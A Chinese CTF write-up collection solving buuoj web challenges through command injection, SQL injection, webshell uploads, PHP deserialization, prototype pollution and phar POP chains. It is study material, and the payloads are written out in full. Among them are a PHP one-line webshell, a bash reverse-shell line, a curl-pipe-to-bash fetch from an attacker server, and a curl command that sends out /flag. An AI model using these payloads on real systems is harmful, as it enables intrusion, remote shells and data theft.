buuoj WP1

[GXYCTF2019]Ping Ping Ping

命令执行漏洞

image-20250331211912616

image-20250331211943612

过滤空格

image-20250331212011067

这里我们找到RCE的过滤空格,然后不断尝试(还没尝试完就放弃了,不应该)

然后用$IFS绕过空格,发现过滤flag

image-20250331212220624

然后用拼接法绕过,过程中发现$IFS影响命令执行,改为$IFS$9

image-20250331212353283

这种一般带着<?php,需要查看源代码

出flag

image-20250331212701956

还可以内联执行

内联函数:将指定的函数体插入并取代每一处调用该函数的地方。

反引号在linux中作为内联执行,执行输出结果。也就是说

1
cat `ls` //执行ls输出index.php和flag.php,然后再执行cat flag.php;cat index.php

image-20250331212949091

sh命令来执行

使用 base64 编码的方式来绕过 flag 过滤。

加密命令echo “cat flag.php” | base64

解密命令并执行echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

然后用$IFS$9代替空格。

[极客大挑战 2019]Secret File

一进来就要找秘密

image-20250402211745650

看人名也没啥谐音,估计是恶搞,暂时没啥有用的

右键查看源代码

发现/Archive_room.php

image-20250402211928840

进去以后是秘密

image-20250402212025497

点开后跳转到/end.php,然后显示没看清么?回去再仔细看看吧。

image-20250402212122119

这里查看/Archive_room.php的源代码,

发现查看秘密应该跳到/action.php,但是我们却跳转到/end.php,应该是302跳转

image-20250402212321480

所以我们这里用curl访问(curl默认不跟随重定向,bp也可以做到)

让我们访问secr3t.php

image-20250402212611770

进去后提示去/flag.php

image-20250402212723694

访问/flag.php后,不显示flag

image-20250402212806573

找到了但是看不到,此时又想到了PHP的封装协议,我们用一下 [ACTF2020 新生赛]Include里面使用的方法

构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

解码,出flag

image-20250402213021891

[强网杯 2019]随便注

可以查数据,加单引号会有报错

image-20250403094810030

1' union select 1#

出现过滤,而且是大小写不敏感的,union注入不好使了。

实际上我们还有报错,但是因为过滤,常规报错注入也不好使

image-20250403084647325

和[SUCTF 2019]EasySQL一样,这里竟然用堆叠注入,这是我没想到的,一直以为堆叠注入不会考

实际上堆叠注入没那么简单,也可以考的挺难

这里用show来代替select

先通过show databases爆出数据库。

1
0'; show databases; #

image-20250403085725310

然后用 show tables 尝试爆表。

1
0'; show tables; #

image-20250403085754975

可以看到这里有两个表,我们先尝试爆words表的内容。

实际上,这里本来就是查的words表的内容,

也就是我们输入1就是查的words表中id为1的data

1
0'; show columns from words; #

image-20250403090146566

然后爆表 1919810931114514 的内容。

这里学到一个新知识点,表名为数字时,要用反引号包起来查询。

1
0'; show columns from `1919810931114514`; #

image-20250403090315538

可以发现爆出来了flag字段,然而因为过滤,常规方法对于flag毫无办法

这里有三个思路

第一个,

  1. 通过 rename 先把 words 表改名为其他的表名(word1)。

  2. 把 1919810931114514 表的名字改为 words 。

  3. 给新 words 表添加新的列名 id 。

  4. 将 flag 改名为 data 。

之所以这么做,因为这里我们默认查的是words表,所以我们把1919810931114514 表改的像words 表,这样输入1就可以出flag了

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

image-20250403091459926

第二个,

因为select被过滤了,所以先将

1
select * from `1919810931114514`

进行16进制编码

再通过构造payload得

1
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

这里由于我将 1919810931114514 表的名字改为 words ,所以我应该用

1
select * from words

构造payload

1
1';SeT@a=0x73656C656374202A2066726F6D20776F726473;prepare execsql from @a;execute execsql;#

这里我们既查了1,又有16进制的payload,所以出现两个flag

image-20250403092147057

第三个,

使用MySQL特有的HANDLER命令来直接访问表数据,绕过常规的SELECT查询。

HANDLER命令详解

HANDLER命令提供了一种比SELECT更直接的访问表数据的方式:

  • 不需要完整的SQL解析
  • 性能更高
  • 但功能有限,主要用于顺序扫描表

常见HANDLER操作:

  1. HANDLER tbl_name OPEN - 打开表
  2. HANDLER tbl_name READ FIRST - 读取第一行
  3. HANDLER tbl_name READ NEXT - 读取下一行
  4. HANDLER tbl_name CLOSE - 关闭表

下面是举例payload1(这是[GYCTF2020]Blacklist的payload)

1'; handler `FlagHere` open as `a`; handler `a` read next;#

payload1解释如下

第一个操作:handler `FlagHere` open as `a`

  • HANDLER是MySQL特有的低级表访问接口
  • 语法:HANDLER table_name OPEN [AS alias]
  • 这里打开名为FlagHere的表,并赋予别名a
  • 反引号(``)用于包裹表名,防止特殊字符引起问题

第二个操作:handler `a` read next

  • 使用之前打开的handler别名a
  • READ NEXT从表中读取下一行数据
  • 这会返回表中的第一行内容(因为这是第一次调用)

还有payload2,都大同小异了

1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

payload2解释如下

第一个操作:HANDLER FlagHere OPEN

  • 打开名为FlagHere的表
  • 与前一条不同,这里没有使用反引号包裹表名,也没有设置别名

第二个操作:HANDLER FlagHere READ FIRST

  • 读取FlagHere表的第一行数据
  • 前一条使用的是READ NEXT,这里使用READ FIRST更明确地表示要读取第一行

第三个操作:HANDLER FlagHere CLOSE

  • 显式关闭之前打开的表
  • 这是与前一条不同的新增操作,确保handler被正确关闭

这道题的payload:

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

因为改表名了,所以改为

1
1'; handler `words` open as `a`; handler `a` read next;#

[极客大挑战 2019]Upload

传个一句话木马试试

显示不是图片

image-20250402215143008

MIME绕过

显示php后缀不行

image-20250402215257575

改成php5试试,也不行

image-20250402215409018

但phtml行,[ACTF2020 新生赛]Upload这一题也是用phtml上传

但是显示不能带<?

image-20250402215451218

这里我们专门制作一个图片马,文件内容为

1
2
GIF89a
<script language="php">eval($_POST['a']);</script>

成功上传

image-20250402220343696

蚁剑连接,出flag

image-20250402220626769

[极客大挑战 2019]BabySQL

输入如下

image-20250408174237619

注入点在password

image-20250408174323252

' union select 1,2,3#

但是回显只有1,2,3#,应该是有过滤

image-20250408174430971

1' UNunionION SELselectECT 1,2,3#

image-20250408174617004

这里有一个点,flag并不在当前数据库里(不要固化思维),所以我们要查所有库

' UNunionION SEselectLECT 1,2,group_concat(schema_name) FRfromOM infoorrmation_schema.schemata#

image-20250408174929545

这里当前库是geek,flag不在geek库里,在ctf库里

' UNunionION SEselectLECT 1,2,group_concat(table_name) FRfromOM infoorrmation_schema.tables WHwhereERE table_schema = 'ctf'#

image-20250408175405736

' UNunionION SEselectLECT 1,2,group_concat(column_name) FRfromOM infoorrmation_schema.columns WHwhereERE table_name = 'Flag'#

image-20250408175529169

注意字段在ctf库的Flag表里,直接查会有如下结果

' UNunionION SEselectLECT 1,2,group_concat(flag) FRfromOM Flag#

image-20250408175953022

语句如下

' UNunionION SEselectLECT 1,2,group_concat(flag) FRfromOM ctf.Flag#

image-20250408180018845

这题其实并不难

关键点在于黑盒过滤以及flag不在本库的注入手段

[RoarCTF 2019]Easy Calc

一开始是一个计算器

image-20250408224526861

右键查看源代码

image-20250408224610906

让我们看一下其中的关键代码,这里JavaScript代码的作用是:

先向服务器发送要计算的数据, 用jQuery 选择器选中id为 “calc” 的表单元素,提取其中id为 “content”的HTML标签元素的值(即("#content").val()相当于 document.getElementById("content").value),并将其编码后放到calc.php?num=后面,比如我们在计算器上输入1+1,实际就是发送num=1%2b1到calc.php;然后处理服务器的响应并显示,当服务器返回成功响应时返回运算结果,当请求失败时返回“这啥?算不来!“。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

然后这里我们看看calc.php

无非是一个黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

然后我们尝试在calc.php输入?num=phpinfo(),试图执行echo phpinfo();

可以看到这里报错,我们没权限直接向calc.php传递数据

image-20250408231136211

实测传递?num=1?num=1%2b1可行(这里传参本质上和在计算器那里输入是一样的)

可以发现,这里num变量传递字母之类的都是不行的,

我们回想到

1
<!--I've set up WAF to ensure security.-->

所以这里应该还有WAF,WAF之后才是calc.php,然后我们还要绕过calc.php的黑名单

原来waf我们是看不见的,我一直以为题里的源码,就是waf了。并且,waf并不是说,题目是用php写的,那么waf就一定是用php写的(也正因如此,这题的waf才会无法识别“ num”和“num”其实是一样的)。

这里怎么过WAF呢?有两种方法

第一种,PHP的字符串解析特性

PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。

假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

所以我们传参? num=phpinfo()

image-20250408233037288

然后我们尝试命令执行? num=;system('ls')

image-20250408233010770

看来WAF挺强的(其实disable_fuction也有system)

image-20250408233941096

所以这里我们scandir() 函数进行目录读取,file_get_contents() 函数进行flag读取。

chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。

file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

var_dump() 将变量以字符串形式输出,替代print和echo.

scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system(‘ls;’)

由于“/”被过滤了,所以我们可以使用chr(47)来进行表示? num=1;var_dump(scandir(chr(47)))

image-20250408233346711

构造:/flagg——>chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
payload:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

image-20250408233517873

空格也可换为+,如?+num=var_dump(scandir(chr(47))),php解析时,如果变量前面有空格,会去掉前面的空格再解析,PHP解析时 ,'num'=' num'='+num'三者认为是同一个变量,但是waf只认’num’’ num’’+num’都不在范围内,这样就能绕过waf。

chr(47)也可以换为hex2bin(dechex(47)),如?+num=var_dump(scandir(hex2bin(dechex(47)))),dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。

file_get_contents()可换为file(),如? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))),readfile()也可以? num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))),甚至可以用代码混淆技术,将readfile()换为? num=1;base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))

第二种,HTTP请求走私

image-20250409000537738

[极客大挑战 2019]BuyFlag

这道题比较考验信息搜集和信息处理能力

入手点在菜单处

image-20250409104519333

image-20250409104557819

然后这里给了提示,虽然这里并不知道是什么意思

image-20250409104652888

查看源代码

发现要用post传递money和password

这里password要弱等于404,且不能是数字,这里用404a

image-20250409104754377

money等于多少呢?

实际上已经给了提示,100000000

image-20250409105007557

所以我们抓包传参

这里根据提示,似乎是将cookie中的user改为1

image-20250409105247941

又显示数字太长

image-20250409105334324

我们改成科学计数

image-20250409105448470

[BJDCTF2020]Easy MD5

一开始并没有在第一个网页中找到思路

只是提交查询后弹出了一个参数

image-20250409155121654

没想到提示要抓包重放看

image-20250409110254755

Hint: select * from ‘admin’ where password=md5($pass,true)

md5(string,raw)

参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式: TRUE - 原始 16 字符二进制格式;FALSE - 默认。32 字符十六进制数

这里采用万能密码的方式去绕过,即构造or来绕过password

但这里输入要经过md5($pass,true),怎么构造万能密码呢?

可以发现md5('ffifdyop',true)的结果为'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

所以原sql查询语句则变为select * from user where username ='admin' and password =''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c',即可绕过

类似的字符串还有:md5('129581926211651571912466741651878684928',true)=\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8

image-20250409154644992

所以我们只需要输入ffifdyop就可以绕过

然后进入第二个网页

image-20250409155615608

右键查看源代码

image-20250409155211977

这里使用了==弱比较

== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

这里完全可以去寻找明文不同但MD5值为”0exxxxx”

这里提供两个QNKCDZO和s878926199a,s878926199a和s155964671a

1
2
?a=s878926199a&b=s155964671a
?a=QNKCDZO&b=s878926199a

然后进入第三个网页

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这里用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。
param1[]=1&param2[]=2

[极客大挑战 2019]HardSQL

又是黑盒

经测试,一些and、union、select、空格等常见的SQL语句被过滤了

这里用报错注入

image-20250410152353242

用户名和密码其实都是注入点

1
2
'or(updatexml(1,concat(0x7e,database()),1))#
'or(extractvalue(1,concat(0x7e,database())))#

image-20250410152906745

1
2
'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#

image-20250410153450136

1
2
'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#
'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#

image-20250410153704148

1
2
'or(updatexml(1,concat(0x7e,(select(group_concat(id,':',username,':',password))from(H4rDsq1))),1))#
'or(extractvalue(1,concat(0x7e,(select(group_concat(id,':',username,':',password))from(H4rDsq1)))))#

image-20250410154120127

这里只有部分flag,还要看另一部分

1
'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

image-20250410154433175

[SUCTF 2019]CheckIn

这道题和之前也是比较像的

首先上传了绕过短标签<?的图片马,然后上传了.htaccess,发现直接用蚁剑连接webshell1.jpg时报错

并不能想明白是为啥,这时候我们需要了解下面几个配置文件的区别

  • php.ini

php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,.user.ini中设置。

  • .user.ini

.user.ini文件
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
它比.htaccess(分布式配置文件)用的更广,不管是nginx/apache/IIS,只要是以fastcgi(进程管理器)运行的php都可以用这个方法。
Php配置项中有两个比较有意思的项
auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
auto_append_file类似,只是在文件后面包含。

  • .htaccess

.htaccess叫分布式配置文件,它提供了针对目录改变配置的方法——在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。并且子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。一般来说,如果你的虚拟主机使用的是Unix或Linux系统,或者任何版本的Apache网络服务器,从理论上讲都是支持.htaccess的。
目录规则:一般我们将.htaccess文件放置在网站的根目录,控制所在目录及所有子目录,而如果放置在子目录中,会受上级目录中.htaccess文件影响,是不起任何作用的。
.htaccess可以实现:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

所以.htaccess相对而言是比较针对Apache网络服务器,这时候我们看到上传路径里竟然有PHP文件

image-20250410212343734

这时候我们可以考虑到上传.user.ini,

因为“不管是nginx/apache/IIS,只要是以fastcgi(进程管理器)运行的php都可以用这个方法”、“auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数”

所以这里上传了.user.ini(注意上传图片马的时候改名,使其对应.user.ini)

image-20250410212520554

然后用蚁剑连接PHP文件

image-20250410212814747

注意这里的index.php并不是我们网页的那个PHP文件(里面实际上什么代码也没有)

image-20250410212850479

网页的是这个,里面有上传文件的代码

image-20250410212919295

[GXYCTF2019]BabySQli

给了源码地址

image-20250410214956445

测出注入点在username

image-20250410215052333

然后还可以知道返回字段数为3

'union select 1,2,3#

但是联合查询包括报错注入都不好使

然后发现提示

image-20250410215425046

这是一段Base32加Base64的编码,解密结果为select * from user where username = '$name'

但到这里就没有思路了

然后看了看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

这里发现成功登录就会输出flag,同时这里可以利用我们select出来的“123”$arr = mysqli_fetch_row($result);

然后就是这一题的重难点:联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据

我们本地尝试一下

先创建几个数据

image-20250410220746683

此时一查就可以构造一条虚假用户

image-20250410220850239

但是如果你再次刷新该库,数据并没有保存。(我认为这就是大佬们说的构造虚拟的数据,如有错误,欢迎指正)

注意上面代码的逻辑,我们此时完全可以修改select出来的“1,2,3”,达到类似' union select 1,'admin','matrix'的效果,使其能够满足if($arr[1] == "admin"){if(md5($password) == $arr[2]){

我们先MD5加密一下matrix

1
21B72C0B7ADC5C7B4A50FFCB90D92DD6

image-20250410221922238

' union select 1,'admin','21b72c0b7adc5c7b4a50ffcb90d92dd6'#

image-20250410221904453

得到flag

image-20250410221950823

[网鼎杯 2020 青龙组]AreUSerialz

我们直接看最后,这种题我们一定是要反序列化的,所以要过了is_valid 函数,

这一函数检查字符串中的每个字符是否在 ASCII 码的 32 到 125 之间,

只要是之间就可以

image-20250217213527736

然后我们接着看代码

image-20250217213900559

发现析构函数__destruct(),然后我们再看process(),发现我们要执行read()才能得到flag

那这里就要求我们op==2,且op不能===2,可以用数字2

image-20250217214238906

这里我们直接解码后,有不可见字符

image-20250217220053614

原来是类修饰符的问题

image-20250217220331463

修改成public(竟然可以直接修改类修饰符,长见识了)

image-20250217220555437

1
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D

出flag

image-20250217220508586

[网鼎杯 2020 青龙组]notes

给了源码,这一题考察的是Undefsafe模块原型链污染

image-20250220203453664

Undefsafe 是 Nodejs 的一个第三方模块,其核心是一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3版本)中存在原型链污染漏洞(CVE-2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。

这里我们知道了除merge函数之外的可以导致原型链污染的函数

除此之外,Lodash模块也可以导致原型链污染,这里提一下lodash中常见的导致原型链污染的方法:

  1. lodash.defaultsDeep方法
  2. lodash.merge 方法
  3. lodash.mergeWith 方法
  4. lodash.set 方法
  5. lodash.setWith 方法

言归正传,下面是Undefsafe 导致原型链污染的一个例子

1
2
3
4
5
6
7
8
var a = require("undefsafe");
var test = {}
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is [object Object]
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is just a evil!

我们先看源码,

先用语法糖写了个类Notes,我们需要注意Notes类的两个成员方法get_noteedit_note,这两个成员方法都用到了undefsafe函数,一会从这两个成员方法入手,进行原型链污染

image-20250220204108557

然后写了几个路由/'、'/add_note'、'/edit_note'、'/delete_note'、'/notes'、'/status'

用deepseek的话说,这段代码实现了一个基于 Express 框架的简单笔记应用,使用 Pug 作为模板引擎。用户可以添加、编辑、删除和查看笔记,同时还有一个 /status 路由用于执行系统命令并返回状态信息。

要注意'/edit_note'路由,其中用到了edit_note这一成员方法,而且三个参数都是我们可控的(而'/notes'中的get_note的参数并不是完全可控,因此不能利用)

image-20250220204942483

通过上面的'/edit_note'路由,我们可以进行原型链污染,但原型链污染了之后怎么利用?

这时候就要看'/status'路由,它会将commands字典的所有的值进行命令执行

image-20250220205424428

而且这个 for (let index in commands) 不只是遍历 commands 表,还会去回溯遍历原型链上的属性

image-20250220205716490

所以我们的思路就清楚了

我们先在'/edit_note'路由污染原型链的属性,然后在/status处遍历原型链中我们污染的属性去执行恶意代码

下面我们需要用到公网IP,尽量搞一个云服务器或者vps

这里我想的是反弹shell,所以先写一个反弹shell的一句话木马

1
bash -i >& /dev/tcp/公网IP/nc端口 0>&1

image-20250220210436784

然后我们在刚刚一句话木马的目录下启动Python 3 中HTTP 服务器,并将其监听在端口 80 上(我这里是监听在80端口,大家可以根据自己的 安全组策略 去安排)

1
python3 -m http.server 80

image-20250220211420416

这时我们再写payload

1
id=__proto__.cmd&author=curl http://公网IP:80/shell.txt|bash&raw=matrix

注意先开nc监听(这里的端口要与一句话木马中的nc端口一样,不要和python服务的端口搞混了),初学者要搞清楚这俩端口的区别,分别代表着不同的服务(一个是python的HTTP服务,一个用来接受反弹shell)

1
nc -lvp 8080

然后用hackbar去POST传递payload

image-20250220211511264

接受反弹shell后找一找目录,在/flag里找到flag

也可以不反弹shell,下面的payload应该可行(实际比赛似乎做不到,怎么知道flag在哪个目录呢?)

1
2
3
4
5
6
7
8
9
/edit_note

# post提交
id=__proto__.bb&author=curl -F 'flag=@/flag' 公网IP:nc端口&raw=a

# nc监听端口
nc -lvp 8080

访问/status

[Dest0g3 520迎新赛]PharPOP

之前做过phar的题,但没想到可以这样考

按照我的理解,phar之于php,就如jar之于java

image-20250220231750162

manifest 压缩文件的属性等信息,以序列化存储;调用phar://伪协议,可读取 .phar文件,而且Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

注意:Phar需要PHP >= 5.2 ,而且在php.init中将phar.readonly设为Off。

我们先读一下源代码,

代码里写了几个类,还有一个waf函数过滤类名,

最后是一个长度判断,规定了$_POST[1])长度小于55,小于55我们肯定不能在这构造pop链了,但是我们可以利用类D中的$_POST[0]构造pop链

然后大体的思路我们已经明白了:$_POST[0]构造phar文件,其中写有pop链;而$_POST[1])则写有序列化后的类D的对象,以此来操纵phar文件的写入读取。

但是这里依然有三个问题:

  1. 如何构造pop链去找到并读出flag?
  2. 源码末尾的throw new Error("start");会导致程序抛出异常,无法利用程序正常的结束来触发__destruct,如何绕过?
  3. 如何绕过waf函数?

我们逐步解决这三个问题,

第一步,构造pop链,

利用点在air类的echo new $p($value);,可以想办法控制类名和参数,利用PHP原生类进行目录遍历或者文件读取(详见https://www.extrader.top/posts/35c0085d/)

在PHP原生类中,可遍历目录类有以下几个:

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类

以DirectoryIterator 类为例,我们可以配合glob://协议使用模式匹配来寻找我们想要的文件路径(详见https://php.golaravel.com/wrappers.glob.html)

1
2
3
<?php
$dir=new DirectoryIterator("glob:///*f*");
echo $dir;

其他遍历目录类同理,然后可读取文件类有:

  • SplFileObject 类

我们可以像类似下面这样去读取一个文件的一行:

1
2
3
4
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

综合一下,构造pop链,并形成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class air{
public $p;
}

class tree{
public $name;
public $act;
}

class apple {
public $xxx;
public $flag;
}


$a = new tree;
$b = new apple;
$c = new air;
$d = new tree;

// $d->act='FilesystemIterator';
// $c->p = $d;
// $b->xxx = $c;
// $b->flag = 'glob:///*f*';
// $a->name = $b;

//$d->act='SplFileObject';
//$c->p = $d;
//$b->xxx = $c;
//$b->flag = "/fflaggg";
//$a->name = $b;

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();

第二步,绕过throw

throw会阻碍析构函数进行,通过gc垃圾回收机制提前触发析构函数,

所以需要修改Metadata来绕过抛出异常,

用D这个读写类来举例,如果正常传入数据是无法触发__destruct的,我们可以去掉末尾的大括号,这样会在反序列化时报错触发__destruct

1
2
修改前:1=O:1:"D":1:{s:5:"start";s:1:"w";}&0=123
修改后:1=O:1:"D":1:{s:5:"start";s:1:"w";&0=123

或者传入序列化的数组,再将长度改的不匹配

1
2
修改前:1=a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:1;s:1:"1";}&0=123
修改后:1=a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:1;s:0:"1";}&0=123

这里采用第一种方法,我们用010editor删除最后的大括号,

1
2
改为
O:4:"tree":2:{s:4:"name";O:5:"apple":2:{s:3:"xxx";O:3:"air":1:{s:1:"p";O:4:"tree":2:{s:4:"name";N;s:3:"act";s:13:"SplFileObject";}}s:4:"flag";s:8:"/fflaggg";}s:3:"act";N;

但是这会导致原本的phar签名匹配不上,需要手动修复一下phar的签名

1
2
3
4
5
6
from hashlib import sha1
f = open('test.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('fixed_test.phar', 'wb').write(newf) # 写入新文件

第三步,绕过waf

waf中含有各种类名,我们可以把phar进行压缩,这样可以绕过限制

https://guokeya.github.io/post/uxwHLckwx/

image-20250303233444690

然后以url编码形式输出文件内容

1
2
3
4
5
6
import urllib.parse

with open("fixed_test.phar.gz", 'rb') as fi:
f = fi.read()
ff = urllib.parse.quote(f) # 获取信息
print(ff)

输出后构造payload,

写入phar文件

1
0=%1F%8B%08%08%F1%CB%C5g%00%03fixed_test.phar%00s%F7t%B3%B0L%B4%B1/%C8%28P%88%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5z%C5%C0%C0%C0%08%C4%82P%9A%81a%0B%10%FB%5B%99X%29%95%14%A5%A6%2AY%19YU%17%83xy%89%B9%A9J%D6%FEV%A6VJ%89%05%0590%19c%2B%A5%8A%8A%0A%90%04%90%95%98Y%A4de%08%126%B4R%2A%00%09%E20%C6%CF%1A%AC31%B9D%09%C82%B4%B0Rr%CB%CCI-%AE%2C.I%CD%F5%2CI-J%2C%C9/R%B2%AE%AD%05kI%CBIL%07%2B%03%1A%9A%9E%93%9Fd%A5%AF%AF%AF%95%A6%05%94G%18%E2g%CD%01tvIjq%89%5EIE%09%0B%90%BD%EE%D4%D1t%10%CDSW%7Fc%1B%C4g%60%F9%BD%F7%D4%9F%2C%F3%95r%13%F6L%99%7D%FA%FD%3FM%BB%0D%FE%7F%99%80r%EEN%BEN%00%B3C%29%E40%01%00%00&1=O:1:"D":2:{s:5:"start";s:1:"w";}

image-20250303233824159

读取phar文件,反序列化使得读出flag文件名

1
0=phar:///tmp/838420275bace68a89cc4842eecbe6b5.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}

image-20250303233950802

然后我们修改pop链,重复上面步骤,

1
0=%1F%8B%08%08%15%CF%C5g%00%03fixed_test.phar%00s%F7t%B3%B0L%B4%B1/%C8%28P%88%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5z%C8%C0%C0%C0%08%C4%82P%9A%81a5%10%FB%5B%99X%29%95%14%A5%A6%2AY%19YU%17%83xy%89%B9%A9J%D6%FEV%A6VJ%89%05%0590%19c%2B%A5%8A%8A%0A%90%04%90%95%98Y%A4de%08%126%B4R%2A%00%09%E20%C6%CF%1A%AC31%B9D%09%C82%042%83%0Br%DC2sR%FD%93%B2RA%82%B5%B5%60%D5i9%89%E9%20%15%16VJ%FAi%20N%3A%90%5B%8B%D0%EBg%CD%01tmIjq%89%5EIE%09%0B%90%DDt%EEh%3A%88%E6%A9%AB%BF%B1%0D%E2%21%B0%BC%E2%D6%24%B6%2B%BC%22%9Er%7B.u%E7%DA%3F%3B~%DB%F0%C4%5C%26%A0%9C%BB%93%AF%13%00%BF%EC%AD%E9%27%01%00%00&1=O:1:"D":2:{s:5:"start";s:1:"w";}
1
0=phar:///tmp/68af76eb7c0cce5005fc66f33b7641b0.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}

